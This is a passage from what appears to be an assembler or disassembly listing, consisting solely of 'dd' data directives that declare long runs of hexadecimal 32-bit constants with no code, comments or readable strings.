3707168Fh dd 0AA0E1A1Ch, 0D8E20ABEh, 17BC25C5h, 380C5A7h, 936E2E38h dd 5DCE83E8h, 9E9CA15Ah, 17E14813h, 0AECEE35h, 98D4CE78h dd 82E78182h, 0A9F92AA8h, 0B5061A93h, 2CF0F83Dh, 8332519h dd 39F4EE90h, 60467844h, 0DCC2E3DCh, 402CECh, 52602F90h dd 5D265B24h, 0AE665A58h, 0EDB5D19Ah, 0DCFC8BA3h, 0DD618279h dd 872FC616h, 94F5F612h, 9F9EB4C0h, 0DD412480h, 0F2881BD0h dd 35CB685Ah, 8C7DFE0Eh, 101FDB36h, 9E5A10F2h, 751E1CAAh dd 0D97252BBh, 8083AEAFh, 42D14CB5h, 0D354E6ADh, 50027CCEh dd 2EFEE335h, 26A43D76h, 69A10A9Ch, 0EBECE88h, 71DDA241h dd 591BA0D2h, 2DA048BEh, 193634A4h, 0BA31761Ch, 0E0CC0F7Ah dd 477522FEh, 88D423B5h, 0D55D1F66h, 9A17074Bh, 0C62631Ah dd 0C196BCD0h, 1F880E63h, 2208ADB9h, 1A48C9C2h, 0C2C7F3A0h dd 16614CEDh, 4CA93F22h, 9EAFBBFAh, 0B7A0CF52h, 0AE5569E3h dd 0DE6F1A2Dh, 0D16C9CA5h, 8F838824h, 0BD374210h, 703EAC7Bh dd 0E0EBD8F3h, 502F990h, 7A8B9D88h, 0B9A8890Bh, 0DC7D312Eh dd 0C5C60A0h, 99796700h, 66C27238h, 0B04DEC9Fh, 346B75A0h dd 8762511Bh, 0FF8AC2E3h, 0DC5DC819h, 12F97951h, 4926EDA5h dd 6AD3CAE4h, 44B54965h, 0EB0A93D9h, 0F63F9B2h, 0E2CD454Bh dd 58F351BDh, 0D0DF744Eh, 0B491602Ch, 65877F22h, 27ECAF27h dd 8ED99717h, 0AC3A0C9Fh, 0ACCAD4B8h, 0C4CC9AFEh, 2EAA677h dd 0ABC8F0DFh, 4F45466Ch, 7161C7FFh, 1F0703C1h, 3A1F5A84h dd 7E3A4828h, 0C05779E3h, 0FAC2BB4Fh, 3F40D0D1h, 0A650F57Eh dd 35A1F73Fh, 0AD8BEFFAh, 647904C6h, 3153AD4Ch, 3997C2F4h dd 4961E208h, 1B3BA65Ch, 0BA686999h, 0EB2B0B82h, 0DC2A3C6Ah dd 0F24036FEh, 0E0146DDh, 0CDCE31AEh, 11D001D3h, 6691D468h dd 0CE1FFB13h, 5140990Bh, 58782B16h, 6F985B97h, 4B94C589h dd 9775AEC4h, 16FF6FB5h, 0B6A86CA2h, 8F7F85A3h, 5CCE22C2h dd 0C519FA20h, 1D9ABD33h, 0C2031F75h, 0C4F00196h, 58B1F19Ah dd 316D455Fh, 2AE17B61h, 77095FE9h, 0DC7D0213h, 7262285Bh dd 9ABF1BC8h, 8AF0666Ah, 0CB72C103h, 4B6502EEh, 0BCAB4B8Fh dd 3DC5EDEEh, 1530EC1Ah, 0B1D294CDh, 31DDBFB7h, 55A7E852h dd 0E0886658h, 0A5A1CF87h, 7E375E82h, 0C5951D56h, 0CB06068Bh dd 0ED167685h, 0B6C73691h, 2588A4BDh, 0B9B65751h, 0C59E0F70h dd 0ACE1314Eh, 981835D9h, 3EA92C1Ch, 633AAEB9h, 0F3E72C37h dd 0FC9E6CA0h, 9ED886D9h, 0DF11534Ah, 4D669F06h, 0CFDBE6AAh dd 1163AF3Fh, 0B76E56Dh, 0A79C1DCEh, 0B34B63BAh, 0FA5AFFF9h dd 0CE5E0F15h, 809D2135h, 95BAEBF4h, 9768972Eh, 5A7B9DBDh dd 0A25F1FF9h, 0E123B201h, 2788E5Dh, 0BCE0D756h, 0BE4BAF7Ch dd 26FCF9EDh, 0B3F15958h, 6D5C761Eh, 246E7E5Eh, 6EA7274Bh dd 5B7D045Ah, 0F2B8FAF6h, 0BDEEAC54h, 150682D2h, 87E57344h dd 0D9A7396Fh, 6BF776EDh, 0B3F5BE55h, 0BB555304h, 0F15B4B42h dd 25A2605h, 8142A8EAh, 8F7AB0E8h, 0E8E2D7A7h, 5EA2D203h dd 0D9CCCA58h, 0A9439C35h, 5A97719Eh, 0B66A3072h, 579FE645h dd 53C5B047h, 1C4DE91Dh, 2F95E092h, 0C462E3F5h, 85537F4Dh dd 12C344ACh, 0EB932EAFh, 5B8F3388h, 126759EFh, 7856964Bh dd 0DF6F9956h, 0AD33C6D3h, 664AA8D9h, 4D4C546Ch, 4C68282Bh dd 8DDB9DF2h, 2A314C87h, 0D4A5354h, 0F4BA4A50h, 2ABAE295h dd 0ED5BCAF3h, 15CF5EFCh, 56CBB8A6h, 0B9DADBF8h, 8827A07Eh dd 0D72F35E1h, 1651EDD8h, 3AF49FBAh, 78FD54F6h, 0B0270E12h dd 0B982C644h, 820A421h, 5AF3191h, 65E7B1B3h, 72A43448h dd 0FFA33C42h, 0F716D262h, 0D35C849Ch, 0EAF1F0C5h, 2967A994h dd 39AA4BD1h, 0B8876CAFh, 0A44827B9h, 0E9803BF0h, 5A39D2A9h dd 5304E849h, 1BA0DF38h, 9E9D9BFFh, 7AB84CA9h, 95B5553Ch dd 39C2FF90h, 0E7A44AB1h, 1FC1F467h, 294383C1h, 846B5068h dd 0EC50E471h, 77B1AEDDh, 8E2335F4h, 0C3532A09h, 0F295A01Ch dd 70D7BADEh, 9D21B16Eh, 1216EE4Bh, 778D497h, 0A53C3A17h dd 0EDE0B7C0h, 0F0DF83DAh, 0F81FD848h, 0C1B3F22Ch, 0B3F90AD7h dd 82EDCE53h, 6D971EB6h, 10C3A4D6h, 3DDD516Dh, 8902A58h dd 0FC6FEE64h, 65F2E75Ah, 0C07E07B5h, 43ECFBC2h, 718C9E18h dd 7E70BFADh, 0ABC3C28h, 0EDE071FEh, 0B876AA87h, 78D0B4ECh dd 3785CEB5h, 78D1573Fh, 564A0B5Dh, 1F82E8E5h, 7751D0E8h dd 3E586686h, 0B8EC34C2h, 5BB66D32h, 9FE38920h, 8FA5B19Ah dd 42AD0DACh, 0C6F8AB54h, 0F84557D2h, 9F64EA82h, 0C325ED03h dd 0A79DF2CBh, 365D4D76h, 3AF44269h, 0FA184C8Bh, 3F855B47h dd 23097922h, 7A85DF79h, 990FFFB3h, 58C05AF6h, 8E520140h dd 0E64818D3h, 13BBDA31h, 483C420Eh, 0E95593CBh, 4F71043Ah dd 0BA644AC1h, 0BBFD7B49h, 9886F114h, 3363376Fh, 26A3FE88h dd 2885CC6Dh, 7926A7D8h, 3B89F3D1h, 9655D763h, 2AB8BE71h dd 905F1162h, 3D285DCEh, 0B5EEF7A2h, 28B83FC8h, 8EBC298Ch dd 69A81B1Fh, 8FEB9999h, 4CEBCD9Bh, 80B32E63h, 5B8FD8EAh dd 0BB4867E7h, 664068B3h, 78DCE870h, 2A5A2024h, 0C4F74B2Bh dd 5199335Dh, 0C8E0B07h, 0C90DFF76h, 3A37C50Eh, 0D1E6A891h dd 0B43CC62h, 95DF7134h, 71601C99h, 0A3374BB7h, 1E658FF7h dd 6A9C787h, 0C671E8B5h, 997D54C5h, 0B4B7762Ah, 17E15AECh dd 676C57C4h, 0B59E1A8Fh, 0A45B8697h, 0C38DC091h, 0AD190AC7h dd 23BDC1F1h, 4879C1F9h, 0B97F190Ah, 0A9875DEEh, 0AEC2A15Ah dd 4A0FAB59h, 0F8AC3DBDh, 34F851E6h, 232329EEh, 64151EC2h dd 7286C0C7h, 60DBC098h, 0C5BCBDA5h, 57B6F05Ah, 4A4DC4C2h dd 11A0ED77h, 7997EED3h, 0B90536FBh, 0D77F2762h, 62184B99h dd 44CA34Dh, 26E7048Dh, 0B5418C02h, 0E4736B19h, 503B766Dh dd 0B00A1448h, 4CD9FD6Fh, 0C7D91002h, 1FBF0258h, 46764040h dd 89D55F97h, 86FF99Dh dd 1989D831h, 0E32396FEh, 0D23E4610h, 648C5327h, 0A3D575E9h dd 940145A0h, 0CC2F612Eh, 0FD7253E6h, 55ECFD8Fh, 0C9211FA2h dd 70FD2AA8h, 1260E9B3h, 0C23C5B49h, 6D4E0B5Dh, 95BC207Eh dd 0F425134Ch, 0A7521BF0h, 8461C23Bh, 0DDB5D4A1h, 0E67CD20Dh dd 6941EA2Ch, 81F86004h, 8B3FC75Ch, 0F51A0D53h, 99ABEF41h dd 73D9BB79h, 138208E6h, 0CB74BC84h, 7E0D346Dh, 1A0D4BD0h dd 2BAB18DAh, 7FD33E61h, 0CB202333h, 0BFA6C0A9h, 0AE588DD2h dd 49A88A90h, 0B4F45452h, 808C5D9Eh, 0E46F49C8h, 28574FF3h dd 0BA26B6D9h, 18EF083h, 5487305Dh, 4E414175h, 0C1B5D4E5h dd 0D1D4523Bh, 6F574EFFh, 0C2B159Dh, 3EF108EDh, 0D1601F42h dd 8B3B2FB3h, 0BB7A1674h, 0D2C38E04h, 0EBC5A8E3h, 0A4555BFAh dd 9AD98B40h, 18C280E0h, 0DB22B9BCh, 0D9DF7334h, 336819B7h dd 831BCB4Ch, 56E409C4h, 0F36D795Ah, 0AE01DC71h, 6E152DD6h dd 0CE6F3EF1h, 28B22628h, 0FB374D4h, 0DC127518h, 6B6E9610h dd 4A1777D5h, 0D0450CA5h, 50298608h, 0C9C814DEh, 0B57380ACh dd 0C3091E60h, 0FF48425Ah, 9BFF4739h, 96917E6Ch, 0BD0DF9A9h dd 0DB9D9463h, 1B0F986Ah, 9C8E2CC6h, 4606B450h, 67DF862Bh dd 0D30F98FDh, 73C601DEh, 0D2F7539Bh, 92BBAC7Fh, 0C619CBFDh dd 39600C8h, 70DE6AB6h, 0FFF4CC8Eh, 860D00AEh, 0F6C91ADDh dd 0C9EA6DF1h, 7CDC2496h, 0BAF524CAh, 0B9447313h, 0EFD0944Ah dd 5B679FAFh, 0A50B45F9h, 42D5990Ch, 80E921DFh, 403E8960h dd 0E790F2D0h, 0F05C0CD7h, 0F949F0AFh, 9F925FEAh, 484842F1h dd 7D1B0D13h, 4D462919h, 0D9771ED8h, 9ABBCABDh, 2187695Ch dd 5AC5F65Bh, 0CF318FFBh, 24FCA1F4h, 0EE0355C3h, 0E2E50888h dd 7FEC6C3Ah, 3BC9D70Ah, 0E6630621h, 0B384F8A0h, 9765F884h dd 3E40F6ADh, 0F00E7040h, 0DD420005h, 4CDB84E8h, 0AA85F80h dd 8D2DCB8Eh, 0FCCB7B15h, 6CB4E26Ah, 847B3AB8h, 536F3158h dd 1A49EEA0h, 0B49CCA14h, 9C1306A4h, 973D05EFh, 3483E39Fh dd 0E451789Ah, 7EFC19FDh, 28BCDD99h, 0D391EC5Ah, 24434AC0h dd 734C37BBh, 6BCAEF63h, 2A4996B9h, 0A84AE8C9h, 5D5DBE69h dd 44E81B97h, 0D14BCC24h, 0CA98A708h, 6CD0AE5Dh, 0FDE05E1Bh dd 0F321075Eh, 0F8305F38h, 0C1D8A2BBh, 136E4BB1h, 0B255AE3Fh dd 73F19C53h, 5AD29330h, 0F7EE290Ch, 0F57BE26Bh, 35AD6A01h dd 4D1F492Ch, 0D0D8C60Ah, 29F87BFFh, 0F4F00C9Eh, 0C3853CF3h dd 16195C53h, 0A8DD84A7h, 5FD9BE57h, 0AB71F7C1h, 3D081664h dd 59842DB4h, 0BF740E9Ah, 79515EC6h, 0D02DB346h, 4D83BD9Fh dd 61C1CEFAh, 0F44B1B77h, 304DB306h, 0D530B792h, 0A8506850h dd 0FA43290Eh, 5A7AB17h, 0CD90A84Ch, 61937E6Dh, 0E790BC13h dd 6F0F15FAh, 0CA5D55A2h, 0A76F444Ah, 79DA9AD3h, 9064A3DAh dd 0EAF30090h, 0DE65D754h, 2A31D5DCh, 0FC27ED0Dh, 3F19EF5Fh dd 91627771h, 0A14F4B10h, 70A47722h, 0B617E4DDh, 4506B690h dd 0DA587880h, 0E419B282h, 2FBAE8Bh, 6AA77DF4h, 0E43FF144h dd 62AE5976h, 25B7CBDCh, 811B4521h, 47FAC8B1h, 0CAB75247h dd 7192B4D1h, 88334C73h, 8DAA5F20h, 0F4E85873h, 33278469h dd 6B03936Fh, 0CCAAE936h, 7162F554h, 0E2075365h, 0F7E4D8BCh dd 0AE657350h, 6F90A24h, 0A1880923h, 0E1E21BFEh, 0FEFA0381h dd 0E64471BDh, 5D808484h, 0E5EBCC8h, 0C1D4D4E3h, 2858FFCDh dd 0E635002Dh, 0BC8BB300h, 57A3E03Bh, 0AA41EF4Eh, 97BB8378h dd 415B4455h, 0EF5AF9A5h, 6E165627h, 0AF320B0Fh, 92292A60h dd 90841302h, 0EBE302DCh, 0B72FFDC0h, 2FCCB83Bh, 0F3F0DFC6h dd 0C6591A17h, 3C62EF2Dh, 32293A8Fh, 406D54B9h, 0BE916A06h dd 7D64DB0Eh, 26DE1B15h, 179DA21Eh, 0EDAB1855h, 86B70354h dd 0BE2CCAE4h, 0B9E895AEh, 163189B7h, 5961CD1Fh, 3C499B08h dd 0E0A9D859h, 0FC120B70h, 86BBF433h, 9DDF6396h, 8FB5A69Fh dd 74C33F09h, 0E71A4150h, 36DBFF8Ah, 95AFA373h, 7363E6BBh dd 71162760h, 63EA23CAh, 1FD6F59Ah, 8D2A8D21h, 3C192214h dd 0D2BAE021h, 71461A6Fh, 41533D1Ch, 834CFA40h, 441CE307h dd 4D5854A6h, 0CA579DFAh, 6B4713D4h, 22B1AA71h, 1C281F1Dh dd 0E5ABE631h, 0F299C7AFh, 5D90068Ah, 0F9BD99CAh, 419861DFh dd 976BFDB7h, 0F0B40E75h, 4627BF16h, 604E1916h, 0C2EB8529h dd 505DA40h, 0B3C9B20Ch, 550A12FBh, 112BDC84h, 0E4FBF35Eh dd 0FD08FBBFh, 0E1BF3389h, 0B9401150h, 3CFFD19Eh, 0F74304EFh dd 83765CE4h, 0EEE5A36Dh, 4C33BA36h, 0C7F35CFDh, 0E2F6F08Dh dd 0AB616FBDh, 0C8C461E6h, 0E3B07D73h, 30BF6542h, 0D6C3AAF7h dd 501DB105h, 0F98263C7h, 6D59ACDDh, 1BD8B61Dh, 0CF342A4Ch dd 0DBF4279Dh, 5986893Fh, 0D9CD8F56h, 83C32105h, 0C8769B3Dh dd 0B1384387h, 0D0FDD461h, 0A54E5A7Fh, 0AA9DA690h, 0D5A50871h dd 7451DEDCh, 9F80F2D8h, 7ACB2871h, 86707383h, 0F806459Bh dd 743B9173h, 82866722h, 0FCEFF82Ah, 4A31ECB5h, 1C50EE69h dd 61A51CC5h, 0A8C4E188h, 7B3AAB8Fh, 0C61B2686h, 403B177Ah dd 38C6E656h, 0D7714C84h, 320D6BE1h, 99E1441Fh, 44482622h dd 59CBFD74h, 8855F753h, 5C0EA13Bh, 236E4886h, 0F89F91Eh dd 4EEC99Ch, 3B4640D4h, 18A9E627h, 59775088h, 850EA412h dd 0A7E66399h, 46E3865Bh, 0ABA3F049h, 63F21E10h, 0CAFD4ADEh dd 2D89B39Eh, 165755DDh, 0C887C217h, 80EEDA48h, 0CCCD3BF7h dd 0F5F97383h, 0C57C50B6h, 0A6993640h, 1C7C725Fh, 149F3851h dd 2B28416Fh, 0E0D4F9A4h, 0CF11B400h, 4496960Eh, 0B8B78587h dd 84139F0Dh, 99AD03D1h, 61960BE3h, 7A3C379Dh, 6D3024h dd 0DDEC0032h, 3C2C3495h, 0D8A6AA07h, 8C14DE6h, 83816E5Bh dd 63BAABEDh, 0C5664D42h, 330AA1E3h, 65CDB45h, 0E2F2D625h dd 0F202A127h, 8B5D56FFh, 3F51A9CCh, 333C8Bh, 892AD848h dd 0EA96310Bh, 43E32C83h, 0FBC3B0FBh, 0EF329C00h, 99748E5Eh dd 0BE2EE1F1h, 0D9C94F1h, 21883218h, 0FFEC5656h, 9DC76A58h dd 9945B128h, 0A6EA1440h, 46ACDAF0h, 7B52CCB9h, 3C9E10FCh dd 3D4C1B85h, 19A2E167h, 6D9C302Eh, 2DF80FF0h, 0FAB1C7D0h dd 34366ECh, 3C07F98Ch, 62B62653h, 0FD6713h, 0B3D0D54Dh dd 25DB0C1Bh, 958FC67Fh, 602D976Eh, 4D15E355h, 83B1F9E1h dd 1639D305h, 0B3458EB7h, 0EB4EB2CFh, 1BEA7908h, 0FA30724Ah dd 0CCCF144Fh, 0BE7A96F5h, 5A39871Fh, 0AF211C30h, 0A34A9181h dd 0D338F323h, 4B43D7A6h, 8C62F398h, 0CC9C8340h, 790D8AB2h dd 0E7F6715h, 643FA81h, 7D25936Ah, 0A52BB512h, 0F8C0137Fh dd 4BE8253Bh, 2BA8CD9Ah, 13293CB2h, 2EA5C951h, 3EA952D9h dd 264B6152h, 0B84582B7h, 0A93BF84Bh, 953AC091h, 4DDAFDD1h dd 0CCED1B0Eh, 0C663E941h, 7F418D7Ch, 2AB29493h, 3C7DAD51h dd 0F0DD4FB2h, 0CB92B968h, 0D8FFE1A9h, 0F73F6C40h, 0C05665ACh dd 9B5C6ADDh, 0B795593Fh, 45F7AA07h, 3271780Dh, 0EA17D7E3h dd 5D64113Ch, 19D8B4A3h, 0EB2E5969h, 911BFD44h, 90F1BF5Fh dd 213AEC8Dh, 800403B5h, 0E2BCD45Dh, 0AFA2F024h, 0A888E65Eh dd 0FDFB50FFh, 616D6C9Fh, 0E5EABAD8h, 9CCF565Fh, 37A97FC0h dd 9A52014Bh, 8A857B70h, 0F1461BF4h, 96826A7Ah, 0AA2B6245h dd 0A2981716h, 82D1AC03h, 0F5BD7A4Eh, 65CE05E3h, 10AAB2FEh dd 2087DE86h, 0B61600C6h, 62394F18h, 0FF0211FBh, 1EB22139h dd 9F8406C0h, 0EB8663C0h dd 633A9583h, 787C365Dh, 7E23136Bh, 0B2D5A066h, 0A4FA88F1h dd 3107BCE5h, 0DD31E887h, 5364322Ch, 2EE914BFh, 8A35A8FBh dd 67855626h, 20145EBAh, 0F5836CE6h, 0B53B67B0h, 78314784h dd 7AE2B1D1h, 3D1B556Ch, 60606CEh, 0BA3151FFh, 3541B989h dd 8074C21Fh, 1923A3A6h, 328D0896h, 9B3C5756h, 9565BAF3h dd 8B3C8986h, 0BDD3415Dh, 0DC33619Dh, 8F5BEE26h, 0BBB94146h dd 551CBCE3h, 0FAAA1FADh, 2FF612A7h, 6DB306C3h, 0B314BEA6h dd 0CD2FB108h, 90D882E4h, 5DDF02CBh, 0EF65F369h, 173E23A9h dd 0EF1C3E53h, 1FF1B7D9h, 44F318FBh, 5EAFCBA4h, 3ADD589Fh dd 15DBDBA3h, 8F0E216Dh, 1E0F83Fh, 82DE0C93h, 6E64A2B0h dd 80F5B1E4h, 386DBE68h, 0AE9917C3h, 0BEC351A2h, 0BF3AD50Ah dd 77E0C957h, 0B54E5388h, 9F381CA4h, 0ECD93564h, 0CA061B99h dd 0D8D1ED2Ch, 0D535254Fh, 200E036Ch, 70B38D3Eh, 617F95C9h dd 45FF22BCh, 5E3761B3h, 67D4EC84h, 0B444923Fh, 3AD5520Ah dd 0D3128150h, 0AB4597A1h, 51186CE2h, 0CD796E05h, 232883FBh dd 7B86B542h, 59DCDA4Dh, 31933DCCh, 2791F9B5h, 6C8965CBh dd 725A5B5Eh, 1A28C879h, 778A7C79h, 46DB8C50h, 72314BE8h dd 321C2EB8h, 7D0A73AEh, 0E27BC488h, 922FE4F8h, 8C824A31h dd 0D8BEB294h, 0C1177493h, 9FDBAB4Ah, 0E0F0BABEh, 0F30D5195h dd 86E0CAh, 8399282Ch, 77362CF0h, 207B4352h, 3611DF8Eh dd 3AA47773h, 0F5DBFE88h, 8839716h, 0D550A41h, 9475B602h dd 0B44BE488h, 788E7FA5h, 41425C5Ah, 984D2963h, 0DC38BCF3h dd 0BF8084E5h, 13D191CEh, 1AE23FABh, 0AF503611h, 28F50014h dd 2AEC4D3Eh, 0B7D59FDDh, 3CEF796h, 9DDB9B9Ah, 0EAFC45E9h dd 440FC3A1h, 0E170906Ch, 72D3849Fh, 35EFADAFh, 0E69469D0h dd 0FEDBD558h, 9BFE47B5h, 9A34C488h, 20A67D4h, 0E87824ADh dd 8A5E4ECh, 0E60CE802h, 0DA865622h, 256F894Dh, 0D2812B82h dd 6E249437h, 0E3CE3D2Ch, 0FB1D24B5h, 0DBC8BBF3h, 3A58B2A3h dd 3A63F0D7h, 981BD7A9h, 2FC0C221h, 5DDC97B2h, 8B4A167Bh dd 0E39B4DA3h, 7A89DE85h, 0BE9C83Fh, 0AC23B39Ah, 0BE89E31Ah dd 3B1A1C19h, 0B3087C9Eh, 0A34D2AFAh, 68453CD6h, 0B126D1Fh dd 0BC871ED5h, 0D95A9F60h, 6C77DBA2h, 2A422CB8h, 8FC37590h dd 0D4729266h, 76ADB5F9h, 0C7841B57h, 0D64B4C06h, 9956D7D1h dd 0B876B1A0h, 0EDA6D3A8h, 7214F995h, 6AB9CB77h, 4DC023C7h dd 8184DEBEh, 154E949Bh, 487BBCF2h, 799C0D6h, 0EACD4A92h dd 662D64DEh, 0E83DC0C8h, 730EC77Ch, 7011421Dh, 8863AFD3h dd 450E524Fh, 2420D3D4h, 9481D9B3h, 0CFEB811Bh, 5FFD3FADh dd 428AE5B4h, 0D694285Bh, 1B9AE1D0h, 9428C1C5h, 0FDF6A339h dd 246749Fh, 142D5C3h, 812863BDh, 8F4FC0FCh, 0BCC838F8h dd 4CD90146h, 5764A6A1h, 0AF7DCF9Eh, 0CB48CEE2h, 0D313A84Fh dd 0A49A128Fh, 56155D79h, 49F5401h, 0C8830644h, 0D55AFDF5h dd 81EEC929h, 0C2876073h, 0A331D163h, 0F0673E86h, 3802DDCBh dd 0F2544B01h, 0E8DF79C3h, 0DD81A67Bh, 5B5FA09Eh, 0F26C0EEEh dd 93CB6AD9h, 74328056h, 35264D63h, 0AE6CBF47h, 507FAEF5h dd 7EFD081Bh, 3A521165h, 0FE1C7444h, 4E51B818h, 1EB14ABh dd 7559B505h, 0B6AC935Eh, 0ED960307h, 50EBCABFh, 0EB256293h dd 19125AA2h, 99E05AEEh, 0B4F47C86h, 93D2F4DEh, 9A2F6C00h dd 1B36AD60h, 60221A3h, 1983E8ECh, 0DF364F63h, 3E9DF975h dd 0C4863005h, 81F0477Ah, 0C011A136h, 642E8571h, 4DA53D85h dd 0F2EDA2D4h, 0C271E75Dh, 0E76EE92Ch, 2744712Ah, 65D62178h dd 0DDBEBBF6h, 0F36E5720h, 0D33C1028h, 30C4CEA0h, 0D560FF5Ah dd 2CCBEEECh, 0EFBEE29Bh, 0C4DFCA75h, 0BCB76821h, 0A5D393A4h dd 5DA2063h, 3289F261h, 6F319FE3h, 0AAF31B0Ah, 427CA562h dd 4C5DCCA3h, 8ECBF4FFh, 0E6C063D6h, 0BF1BFCC3h, 94D97802h dd 0C2DA0035h, 0AC2D95E6h, 1BE6ADC1h, 9136CF7Ch, 0DEB5BF55h dd 7BC10F23h, 1AC445A7h, 58165FC1h, 0EF7B5A8Eh, 584046D5h dd 72CD2687h, 0DD92F734h, 270CCE43h, 0D29E4ADBh, 0AA3D9077h dd 0F7922910h, 926771D1h, 0A0A774FAh, 38CC7BF5h, 0C21804E1h dd 5F7E68E3h, 21AD8DFCh, 0E6602CC4h, 594ADB15h, 0D5DEE124h dd 0C8EB5BA3h, 434B2B18h, 2A199B04h, 43D52022h, 0D747B03h dd 0F18188B9h, 227666D1h, 2F4D24D4h, 32A3C617h, 4390E336h dd 45A7BF5h, 97FDF490h, 40777C33h, 893B5FE8h, 980C1013h dd 8A436CC8h, 0DCA6F218h, 5038B059h, 95C5F4C2h, 18E7C789h dd 0D5FFCB77h, 0B9D4A9ACh, 4F3362CBh, 58986AF3h, 96D09512h dd 7E113CE8h, 8DF1962Ch, 0A4BAA05Eh, 6D5E2A3h, 0DF80EC0Dh dd 8051342Eh, 5FF2AC35h, 0DF101F00h, 0FC6FE90Ch, 4DE23771h dd 50A93747h, 0C67EB443h, 0B3613EA2h, 176600FEh, 0C3F0870Bh dd 0C4042F4Ah, 0E499C880h, 43696791h, 31483236h, 0E800A053h dd 91DC2EBh, 0FDC75EEDh, 13B80843h, 69B2B4Ch, 0C9F995D8h dd 0BF7D9AF5h, 0C942F0B7h, 0D8041162h, 97367498h, 8787525Fh dd 3A09C664h, 0F3CD48BFh, 2A512D25h, 0D432B277h, 0D581C418h dd 8AD16DF2h, 174BD7B8h, 0BD90439Bh, 48EBF8F6h, 54C38578h dd 0A9799F2Bh, 0DB52FC7Ch, 54E2706Dh, 0F8F586AEh, 225CE844h dd 0F5D5A6C1h, 8703CCB1h, 2696E69h, 9AB80D27h, 8E3CEB7Ch dd 7F5B83D3h, 334A7A7Fh, 339F5ACEh, 5662D2E2h, 2CA64Ah dd 0E66B4FAEh, 5B395A3h, 8CEADABCh, 0D7756A69h, 21AE2288h dd 660B811Bh, 0D4E47264h, 0BE7A8743h, 4060AFB1h, 4C41EFBDh dd 0F2CF5746h, 299E581Fh, 2136FC8Bh, 0A68D86F9h, 1BBA6436h dd 0D8064AB4h, 0FE8B9710h, 574CC327h, 0D9B66C42h, 0D9C866CDh dd 59A95090h, 608D6CCEh, 0F55AFD39h, 0F2937841h, 353142BCh dd 65C0C296h, 0E69C5BB4h, 6007EF03h, 950E266Dh, 3918857Eh dd 0E0F55B03h, 33C464DDh, 0D601AE13h, 0A16CBD15h, 1AABDAD2h dd 4828466Ch, 0DF0486DFh, 0A8601A3Ah, 8BFB7CA0h, 0D41354Fh dd 96E3EF68h, 2F5A266Bh, 0ED0ACA29h, 0F99FA4EDh, 0CA10309h dd 0BF644282h, 817619D8h, 96B56B9Ah, 1C07784Ah, 0A056E6BAh dd 0ADD7E11Ah, 7AB1EFA6h, 0F7049AE2h, 0C3F668C1h, 861C3AA5h dd 61CD763Bh, 7814F25Ch, 0A84BBCDAh, 0F0E52991h, 528509ECh dd 0F21D5720h, 7E08C4AFh, 0EA03E1DBh, 0B4F2046Ch, 0FDC44DF1h dd 0DF4AC321h, 10379560h, 1D59B303h, 819A34C2h, 875CE727h dd 719D87E7h, 39737F9h, 0A9CB8CFDh, 2D917394h, 0B866F164h dd 0EC232E97h, 0CC2AA4E2h, 4C7A42E9h, 2EBF6528h, 2964F1F0h dd 93F7F0EDh, 6986ABC7h, 2E46CFF2h, 1174C3E8h, 0FAED41F4h dd 0E0A94786h, 0C5390876h, 5A799214h, 4B46D2C8h, 0D94BDBE4h dd 0CC61AECh, 1E290CE7h, 9157DD4h, 0B1FA2347h, 3C68BD6Dh dd 2263CC0h, 3D7F0B34h, 72540927h, 57F4637Dh, 0B60F5B2Dh dd 0A1972A7h, 0F6D98437h, 0CAB05C88h, 5A14F00Ch, 0B08F8857h dd 75D0731Eh, 2B6B67BAh, 0B4D3DD15h, 444A2BCBh, 89C4412Bh dd 9A2D25CAh, 53E68212h, 9AA76D1Dh, 30DD3A6Ch, 976A188Fh dd 0C1C96651h, 0F1AE2FFBh, 0BBEE209Ah, 1E55F820h, 89031D00h dd 0A0A28671h, 0D8747B3Ch, 8486719Ah, 0DD127301h, 28667280h dd 828A78F9h, 7C7AED8Bh, 74DE0DD9h, 2C4F6B83h, 2459C4D9h dd 0A431A33Ch, 0D390C15Eh, 24BE62D4h, 0BAF01902h, 0D086C18Eh dd 0EB576Ah, 19813E63h dd 0A7D48154h, 0DA1E2941h, 0A78FB75Ah, 3E5B94EAh, 38F67CC9h dd 2AAB3931h, 0D305B938h, 0CF6A0016h, 0AB6F2C61h, 8391A642h dd 46C41287h, 0BAADEFFCh, 2D787AD5h, 0EAF52D50h, 2AB455DFh dd 0B12E3434h, 350A70F6h, 0DFD5EB9Bh, 0C0FA03B3h, 1AD2859Ch dd 111A2752h, 5657AFF5h, 0DCC0C910h, 377ADCCEh, 2B0E5BD7h dd 75AC70BBh, 13DC3E4Ah, 0EAFC37D6h, 0AE88784Ch, 328C3DB7h dd 4697D61Ch, 5890CBDFh, 0B6105D3h, 0F677E5F7h, 3EF3927Fh dd 188D86CFh, 7910C0A1h, 1472D473h, 63488761h, 1C91A0CCh dd 24470ACBh, 1E0945D4h, 1ECE5BB5h, 1CF25AFCh, 0DBA3099Ah dd 331E577Ch, 80151E11h, 0D02D4629h, 6F349EB3h, 6C609231h dd 59CA1DD4h, 54463BB4h, 91E286A9h, 67B8CEDDh, 40753113h dd 162B321Fh, 236A363Ah, 0A1EFB69Bh, 0ACC6B77Bh, 0D3094DF7h dd 561803DFh, 5503F29Ah, 0A30BF6AEh, 6705A8BAh, 13C5A369h dd 0A6F2FABDh, 0B46D8D40h, 9BD265F8h, 0A9C1F595h, 8F8DDB86h dd 141D5ED6h, 0ECE7E232h, 0F3EFCA67h, 0D745A879h, 0DEF6C2E1h dd 20F80F63h, 0B45FFE19h, 0EA6C0h, 0AA7CBD64h, 0B82BBF9Ah dd 0B3ABE0BAh, 9B985275h, 960998F4h, 7FC31DCDh, 7EC92DE5h dd 5F38F7C3h, 0A9B1DE34h, 62B07362h, 0FE521483h, 0F2DA91F3h dd 70ADA61Bh, 72CCA32Bh, 0F3FD8319h, 0CA64F13Fh, 0B4DB688Eh dd 17A7E7D5h, 506C8A2Eh, 207622F7h, 0BBF65E76h, 8937E5AAh dd 0F7B7088Ah, 394D9A21h, 0DF0A2930h, 866CBDB8h, 3933AB7Bh dd 0D496C539h, 0EF3256D1h, 0F6DB1F0Fh, 320DE331h, 1A67C7ACh dd 2346AC1Fh, 0E485BD0Bh, 17AD7191h, 0D9604672h, 0B2FB2FDEh dd 393D4A13h, 3A353999h, 15328EE1h, 5B16040h, 89CD0F74h dd 0D5D34693h, 71D3C022h, 0D7D7D0E0h, 39F36325h, 256998D1h dd 0C2F7ED7h, 5797BE40h, 0C726D83Bh, 0CB50CC88h, 0FEA90AD2h dd 8BC9CFBh, 5B0B3CB1h, 192E89EBh, 43FDC849h, 0BB5B3E4Ch dd 8DAC531Dh, 488F1019h, 0DAFA7AA0h, 0FA518038h, 0EBFE1EF9h dd 0BC91E092h, 60D4397Eh, 